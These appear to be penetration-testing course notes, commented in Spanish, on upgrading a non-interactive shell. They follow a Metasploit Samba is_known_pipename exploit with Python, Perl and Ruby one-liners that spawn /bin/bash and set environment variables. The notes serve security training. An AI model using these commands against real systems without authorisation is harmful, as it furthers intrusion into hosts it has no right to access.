Shells

Upgrading Shells

Upgrading Non-lnteractive Shells

Demo: Upgrading Non-lnteractive Shells


msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/samba/is_known_pipename) > show options
msf5 exploit(linux/samba/is_known_pipename) > exploit

# Un shell no interactivo es cuando no vemos nigun promp pero sabemos que 
# si estamos en el sistema
/bin/bash -i

# En caso de que no tengamos la informacion primero debemos de listar todos los shell
# Que podemos utilizar para shells interactivos
cat /etc/shells

# Identificar el python que tiene instalado
python --version
python -c 'import pty; pty.spawn("/bin/bash")'

# Perl
perl -e 'exec "/bin/bash"; '

# ruby
ruby: exec "/bin/bash"

# Variables de entorno
env
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export TERM=xterm
export SHELL=bash

Quiz: Upgrading Non-Interactive Shells

Last updated